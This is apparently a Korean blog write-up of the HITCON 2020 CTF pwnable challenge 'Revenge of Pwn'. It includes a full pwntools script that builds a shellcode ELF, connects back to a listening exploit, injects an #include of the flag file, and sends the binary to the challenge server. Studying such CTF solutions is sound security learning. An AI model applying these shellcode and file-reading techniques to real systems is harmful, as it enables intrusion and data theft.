본문 바로가기

카테고리 없음

hitcon2020 Pwnable_Revenge of Pwn Write up

대회중에 유일하게 감을 잡은 문제이다.

 

문제 방식이 엄청 특이했는데, 고정된 바이너리를 가지고 우리가 올리는 바이너리로 익스를 하는것이다.

고정된 익스를 보면 listen 을 하고 쉘코드를 이용해 붙어주는 것을 알 수 있다.

 

그래서 생각했던게 우리가 원하는 바이너리에 동작중에 connect 를 바이너리 쪽에서 해줘서 쉘코드를 넣어버리면 되는것이 아닌가 라고 생각했다. 그래서 쉘코드를 짜는데 stk 변수와 다른것들을 어케 해야될지 몰라서 계속 코딩하다 끝나버렸다.

 

그래서 끝나고 보니 pwntools에서 make elf라는 모듈을 지원하고 있었고 그냥 쉘코드 갖다 붙여넣기 했으면 풀리는 문제였다.

 

from pwn import *

context.arch = 'amd64'

stk = "stack address @ 0x1\n"
evil_str = "1\n#include \"/home/deploy/flag\"@"

elf = make_elf(
    asm(
        shellcraft.pushstr(stk) +
        shellcraft.write(1, 'rsp', len(stk)) +
        """
        MOV    rcx, 5000000000
L1:
DEC    rcx
JNZ    L1
        """ +
        shellcraft.amd64.connect('127.0.0.1', 31337) +
        shellcraft.pushstr(evil_str) +
        shellcraft.write('rbp', 'rsp', len(evil_str)) +
        shellcraft.read('rbp', 'rsp', 10000) +
        shellcraft.write('rbp', 'rsp', 10000)
    )
)

p=remote("3.115.58.219", 9427)

p.recvuntil('ELF size? (MAX: 6144)')
p.sendline(str(len(elf)))
p.send(elf)
p.stream()

근데 롸업을 보니 조금 달랐다

 

여기서 보면 그냥 쉘코드를 그대로 바이너리로 만들어서 보내는데 이걸 어떻게 실행됬는지 나도 모르겠다

 

일단 이걸로 바이너리 만들고 커넥트를 시킨걸 보니 나랑 똑같은 생각으로 풀은건 맞다.

내가 생각한 방법은 저 쉘코드를 실행시키는 코드를 만들고 strip 시켜서 보낼려고 했는데